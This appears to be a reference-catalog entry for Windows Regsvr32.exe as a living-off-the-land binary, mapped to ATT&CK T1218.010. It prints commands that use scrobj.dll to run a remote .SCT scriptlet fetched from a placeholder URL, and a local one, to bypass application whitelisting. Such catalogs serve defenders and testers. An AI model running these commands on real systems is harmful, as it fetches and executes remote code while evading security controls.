.. /Regsvr32.exe
Star

AWL bypass
Execute

Used by Windows to register dlls


Paths:

Resources:
Acknowledgements:

Detection:

AWL bypass

  1. Execute the specified remote .SCT script with scrobj.dll.

    regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
    Use case
    Execute code from remote scriptlet, bypass Application whitelisting
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010

  2. Execute the specified local .SCT script with scrobj.dll.

    regsvr32.exe /s /u /i:file.sct scrobj.dll
    Use case
    Execute code from scriptlet, bypass Application whitelisting
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010

Execute

  1. Execute the specified remote .SCT script with scrobj.dll.

    regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
    Use case
    Execute code from remote scriptlet, bypass Application whitelisting
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010

  2. Execute the specified local .SCT script with scrobj.dll.

    regsvr32.exe /s /u /i:file.sct scrobj.dll
    Use case
    Execute code from scriptlet, bypass Application whitelisting
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.010